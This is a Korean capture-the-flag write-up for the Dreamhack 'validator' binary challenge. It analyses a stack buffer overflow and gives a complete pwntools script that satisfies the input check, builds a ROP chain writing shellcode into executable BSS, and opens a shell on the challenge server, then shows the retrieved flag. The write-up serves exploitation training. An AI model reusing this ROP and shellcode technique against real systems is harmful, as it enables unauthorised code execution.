콘텐츠로 건너뛰기

validator

Description

취약한 인증 프로그램을 익스플로잇해 flag를 획득하세요!

Hint: 서버 환경에 설치된 5.4.0 이전 버전의 커널에서는, NX Bit가 비활성화되어 있는 경우 읽기 권한이 있는 메모리에 실행 권한이 존재합니다. 5.4.0 이후 버전에서는 스택 영역에만 실행 권한이 존재합니다.


checksec

seo@seo:~/validator$ checksec --file ./validator_server
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/home/seo/validator/validator_server'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0x400000)
    Stack:    Executable
    RWX:      Has RWX segments

모든 보히기법이 해제되어있고, 심지어 bss영역을 실행시킬 수 있다. (Has RWX Segments)


Decompiled-src

main

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char s[128]; // [rsp+0h] [rbp-80h] BYREF

  memset(s, 0, 0x10uLL);
  read(0, s, 0x400uLL);
  sub_400580((__int64)s, 128uLL);
  return 0LL;
}

read 함수를 통해 s 지역변수로 입력받는데,
할당된 128바이트보다 0x400만큼 입력받기 때문에 버퍼 오버플로우가 발생한다.

sub_400580

__int64 __fastcall sub_400580(__int64 a1, unsigned __int64 a2)
{
  unsigned int i; // [rsp+1Ch] [rbp-4h]
  int j; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; i <= 9; ++i )
  {
    if ( *(_BYTE *)((int)i + a1) != aDreamhack[i] ) //DREAMHACK!
      exit(0);
  }
  for ( j = 11; a2 > j; ++j )
  {
    if ( *(char *)(j + a1) != *(char *)(j + 1LL + a1) + 1 )
      exit(0);
  }
  return 0LL;
}

처음 문자열 접두사인 PREFIX가 DREAMHACK! 이여야 하고,

그 이후 a1[11] ~ a1[127]은 아래의 규칙을 가져야된다.
a1[j] = a1[j+1] + 1

그렇지 않으면 exit(0) 함수를 통해 프로세스가 종료된다.


Solution

먼저, sub_400580 함수 조건에 맞도록 페이로드를 작성한다.

그 후 RET를 컨트롤해서 RIP가 ROP 페이로드가 실행되게끔 해서
read(0, bss, shellcode)
위와 같이 BSS 영역에 쉘코드를 작성되도록 만든다.

그리고 마지막으로 RIP를 다시 한번 컨트롤해서
BSS 주소로 가리키게 해서 쉘을 획득하면 된다.


solve.py

from pwn import *
#context.log_level = 'debug'
context(arch='amd64',os='linux')
warnings.filterwarnings('ignore')

#p = process("./validator_server")
p = remote("host3.dreamhack.games",9678)

payload = b""
payload += b"DREAMHACK!"

val = 128
for i in range(119):
    payload = payload + (val).to_bytes(1, byteorder="little")
    val = val - 1

#Dummy RBP
payload += b"B"*7 

#Control Ret
bss = 0x000000000060104B
read_plt = 0x000000000400470
pop_rdi_retn = 0x4006F3
pop_rsi_pop_r15_retn = 0x0000000004006F1
pop_rdx_retn = 0x00000000040057B

shellcode = asm(shellcraft.sh())

#read(0, bss, shellcode), ROP
payload += p64(pop_rdi_retn)
payload += p64(0) #set rdi, arg1

payload += p64(pop_rsi_pop_r15_retn)
payload += p64(bss) #set rsi, arg2
payload += p64(0) #set r15

payload += p64(pop_rdx_retn)  
payload += p64(len(shellcode)) #set rdx, arg3
payload += p64(read_plt) #call read
payload += p64(bss) #after call read, set rip to bss

p.send(payload)

p.send(shellcode)

p.interactive()

Result

seo@seo:~/validator$ python3 solve.py
[+] Opening connection to host3.dreamhack.games on port 9678: Done
[*] Switching to interactive mode
$ ls
flag
run.sh
validator
$ cat flag
DH{e6ab8f1142a49e47bdb29933c6a3ba6f6f3576b165c45ce477d64b7d6192b3d3}
태그:

답글 남기기